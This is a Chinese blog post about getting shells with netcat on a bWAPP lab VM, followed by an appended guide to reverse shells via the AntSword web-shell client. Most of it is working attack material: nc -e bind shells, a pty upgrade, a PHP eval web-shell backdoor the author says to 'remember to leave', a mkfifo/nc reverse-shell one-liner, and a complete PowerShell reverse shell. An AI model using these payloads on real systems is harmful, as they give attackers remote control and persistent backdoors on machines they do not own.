用nc反弹shell真有意思哈哈

本文介绍如何通过NC命令在不同主机间建立未加密的TCP连接,实现远程Shell的获取过程,并探讨了不同用户环境下Shell的差异及后门设置方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

先在bee(192.168.170.130)上面

bee@bee-box:/tmp$ nc -vlp 4444 -e /bin/bash
listening on [any] 4444 ...
192.168.170.1: inverse host lookup failed: Unknown host
connect to [192.168.170.130] from (UNKNOWN) [192.168.170.1] 51226

然后在自己机器(192.168.170.1)上

➜  exploit/others master ✓ nc 192.168.170.130 4444                  [14:07:23]

这个时候在bee上,用netstat -plant应该可以已经看到TCP连接已经建立了。

tcp        0      0 192.168.170.130:4444    192.168.170.1:51434     ESTABLISHED

然后继续,暂时只是一个没有命令提示符的shell,可以用python来得到一个有交互式的shell。

id
uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee)
python -c "import pty; pty.spawn('/bin/bash')"
bee@bee-box:/tmp$

bee@bee-box:/tmp$ pwd
pwd
/tmp
bee@bee-box:/tmp$ ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:82:c4:aa
          inet addr:192.168.170.130  Bcast:192.168.170.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe82:c4aa/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:27851 errors:24921 dropped:0 overruns:0 frame:0
          TX packets:21029 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3201942 (3.0 MB)  TX bytes:6392437 (6.0 MB)
          Interrupt:16 Base address:0x2024

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1006 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1006 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:77917 (76.0 KB)  TX bytes:77917 (76.0 KB)

bee@bee-box:/tmp$

bee@bee-box:/tmp$ echo "caiqiqi"
echo "caiqiqi"
caiqiqi

在这个nc反弹回来的shell里面,输入echo "caiqiqi"
然后用wireshark抓包,follow TCP stream。由于是nc,所以并不是ssh加密的,是没有加密的TCP流量
这里写图片描述。得到这么几个包。
这里写图片描述

当在web页面上使用nc -vlp 4444 -e /bin/bash时,得到的是www-data用户的shell。
注意:如果你输入ifconfig,可能并没有回显,这可能是www-data用户的环境变量里没有/sbin的缘故,如果你有带命令提示符的shell的话,它会给你提示错误,否则可能什么响应都没有,你以为你已经断开shell了呢,其实没有。

www-data@bee-box:/var/www/bWAPP$ ifconfig
ifconfig
Command 'ifconfig' is available in '/sbin/ifconfig'
The command could not be located because '/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative priviledges associated with your user account.
bash: ifconfig: command not found
www-data@bee-box:/var/www/bWAPP$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin

最后记得留下后门。

www-data@bee-box:/var/www/bWAPP$ echo "<?php eval($_GET['x']);?>" > x.php
echo "<?php eval($_GET['x']);?>" > x.php

然而在我之后在正常的shell中却发现那个后门的内容并不是我之前输入的那样,

bee@bee-box:/var/www/bWAPP$ cat x.php
<?php eval(['x']);?>

页面也报错了
这里写图片描述

### 蚁剑使用 `nc` 反弹 Shell 权限方法 #### 准备工作 为了实现通过蚁剑利用 `nc` 进行反弹Shell的操作,需要确保攻击机已经安装并配置好了NetCat (nc),并且能够正常运行。同时,在目标主机上也需要具备执行命令的能力。 #### 创建监听端口 在攻击者的机器上启动一个监听服务等待来自受害者的连接请求: ```bash nc -lvnp 4444 ``` 这条指令会在本地开启一个TCP监听器,其中 `-l` 表示监听模式;`-v` 提供详细的输出信息;`-n` 不解析DNS名称;而 `-p` 后面跟的是指定要监听的端口号[^1]。 #### 配置蚁剑客户端 打开蚁剑软件,新建项目后选择合适的协议类型(如HTTP(S)),设置好相应的参数之后保存项目文件。接着切换到“终端”选项卡准备发送反弹shell所需的payload给服务器端。 #### 发送反弹Shell Payload 假设当前已获得WebShell访问权限,则可以在蚁剑控制台里输入如下命令来触发反弹Shell行为: 对于Linux系统: ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.x.x 4444 >/tmp/f ``` 这里 `/bin/sh` 是指调用系统的Bourne shell解释程序创建交互式的子进程环境,并将其标准输入输出重定向到由 `nc` 建立起来的数据流管道中去[^3]。 而对于Windows平台则可以采用PowerShell的方式来进行类似的处理: ```powershell $client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (Invoke-Expression $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendByte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendByte,0,$sendByte.Length);$stream.Flush()};$client.Close() ``` 这段脚本实现了与上述Linux版本相同的功能——即建立反向连接并将cmd.exe的标准输入输出绑定到了网络套接字之上[^4]。 一旦成功建立了这种双向通信机制,就可以像操作自己的电脑那样自由操控远端设备了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值